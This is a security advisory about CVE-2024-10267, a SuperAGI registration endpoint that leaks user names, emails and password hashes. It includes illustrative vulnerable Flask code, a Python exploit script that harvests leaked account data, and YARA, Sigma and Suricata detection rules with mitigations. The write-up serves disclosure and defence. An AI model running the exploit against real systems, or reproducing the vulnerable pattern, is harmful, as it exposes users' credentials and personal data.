CVE-2024-10267

Executive Summary

CVE-2024-10267 is an information disclosure vulnerability in the user registration functionality of transformeroptimus/superagi. The flaw allows an unauthenticated attacker to enumerate valid user accounts and retrieve sensitive personal information, including names, email addresses, and password hashes, by simply attempting to register a new account with an email address that already exists in the system. The server responds with the full account details of the existing user, effectively leaking credentials and PII. This vulnerability has a CVSS score of 7.5 (High) and currently has no known patch or official advisory from the vendor.

Supply Chain & Package Security

This vulnerability affects the SuperAGI project, which is a Python-based open-source framework for building autonomous AI agents. The project is distributed via PyPI and GitHub. Users of the superagi package are at risk if they expose the registration endpoint to untrusted networks. No official patch or advisory has been released by the maintainers.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is easily exploitable by any unauthenticated attacker with network access to the SuperAGI instance. The primary risk is the exposure of sensitive user data, which can lead to account takeover, phishing attacks, or further compromise of the system.

Deep Dive & Mechanics

The vulnerability resides in the user registration endpoint, typically located at /api/register or similar. When a registration request is made with an email address that already exists in the database, the server does not return a generic error message (e.g., "Email already in use"). Instead, it returns the full user object, including fields such as name, email, and password_hash. This behavior violates the principle of least disclosure and allows an attacker to:

1. Enumerate valid user accounts by observing the difference in server responses between existing and non-existing emails.
2. Harvest sensitive data including password hashes, which can be cracked offline.
3. Perform targeted attacks against specific users.

The vulnerable code likely looks like this (pseudocode):

def register_user(email, password, name):
    user = User.query.filter_by(email=email).first()
    if user:
        # BUG: Returns full user object instead of generic error
        return jsonify(user.to_dict()), 409
    # ... create new user

The fix should return a generic error message without revealing any user details.

Vulnerable vs. Patched Code

Vulnerable Code (Python/Flask example):

@app.route('/api/register', methods=['POST'])
def register():
    data = request.get_json()
    email = data.get('email')
    existing_user = User.query.filter_by(email=email).first()
    if existing_user:
        # VULNERABLE: Returns full user data
        return jsonify({
            'error': 'Email already registered',
            'user': {
                'id': existing_user.id,
                'name': existing_user.name,
                'email': existing_user.email,
                'password_hash': existing_user.password_hash
            }
        }), 409
    # ... create new user

Patched Code (Recommended):

@app.route('/api/register', methods=['POST'])
def register():
    data = request.get_json()
    email = data.get('email')
    existing_user = User.query.filter_by(email=email).first()
    if existing_user:
        # PATCHED: Generic error, no user data leaked
        return jsonify({'error': 'Email already registered'}), 409
    # ... create new user

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Python 3.x with requests library
• Target SuperAGI instance with registration endpoint exposed

Exploit Script:

import requests
import sys

def exploit(target_url, email):
    """Attempt to register with an existing email to leak user data."""
    payload = {
        "email": email,
        "password": "test123",
        "name": "attacker"
    }
    try:
        r = requests.post(f"{target_url}/api/register", json=payload, timeout=10)
        if r.status_code == 409 and 'user' in r.json():
            print(f"[+] User data leaked for {email}:")
            print(r.json()['user'])
        else:
            print(f"[-] No leak for {email} (status {r.status_code})")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_url> <email>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

Usage:

python exploit.py http://target-superagi.com test@example.com

Expected Output:

{
    "id": 1,
    "name": "John Doe",
    "email": "test@example.com",
    "password_hash": "$2b$12$..."
}

Blue Team (Defender)

Detection Steps:

1. Monitor registration endpoint for repeated attempts with different emails (enumeration).
2. Look for 409 responses containing user objects in the response body.
3. Check logs for unusual registration patterns (e.g., many requests from same IP).

Mitigation Steps:

1. Immediately patch the registration endpoint to return generic errors.
2. Implement rate limiting on the registration endpoint.
3. Review all API endpoints for similar information disclosure issues.
4. Rotate all user passwords if any have been exposed.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /api/register with existing email addresses resulting in 409 responses containing user data.
• Logs: Server logs showing repeated 409 status codes from the same IP with different email addresses.
• Response Body: JSON objects containing user field with id, name, email, and password_hash.
• File Hashes: No specific file hashes; the vulnerability is in the application logic.

Detection Engineering

YARA Rule

rule CVE_2024_10267_SuperAGI_InfoLeak {
    meta:
        description = "Detects information disclosure in SuperAGI registration response"
        author = "Valters IT"
        date = "2024-10-27"
        cve = "CVE-2024-10267"
    strings:
        $s1 = "password_hash" ascii wide nocase
        $s2 = "Email already registered" ascii wide nocase
        $s3 = "\"user\":" ascii wide
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-10267 SuperAGI Information Disclosure
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP responses from SuperAGI registration endpoint that leak user data
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/register'
        sc-status: 409
        cs-content-type: 'application/json'
        response_body|contains: 'password_hash'
    condition: selection
falsepositives:
    - Legitimate debugging responses (should not occur in production)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10267 SuperAGI Information Disclosure"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/api/register"; http.response_body; content:"password_hash"; http.stat_code; content:"409"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch the code: Modify the registration endpoint to return a generic error message (e.g., "Email already registered") without including any user data.
2. Rate limiting: Implement rate limiting on the registration endpoint to slow down enumeration attempts.
3. Input validation: Ensure all API endpoints validate and sanitize user input.

Long-term Recommendations:

1. Security audit: Conduct a full security review of all API endpoints for similar information disclosure issues.
2. Password rotation: Force all users to reset their passwords if any have been exposed.
3. Monitoring: Implement logging and alerting for suspicious registration patterns.
4. Update dependencies: Keep the SuperAGI framework and all dependencies up to date.

Workaround (if patching is not immediately possible):

• Disable the registration endpoint entirely if not required.
• Place the registration endpoint behind a VPN or IP whitelist.
• Use a Web Application Firewall (WAF) to block responses containing password_hash.

Valters IT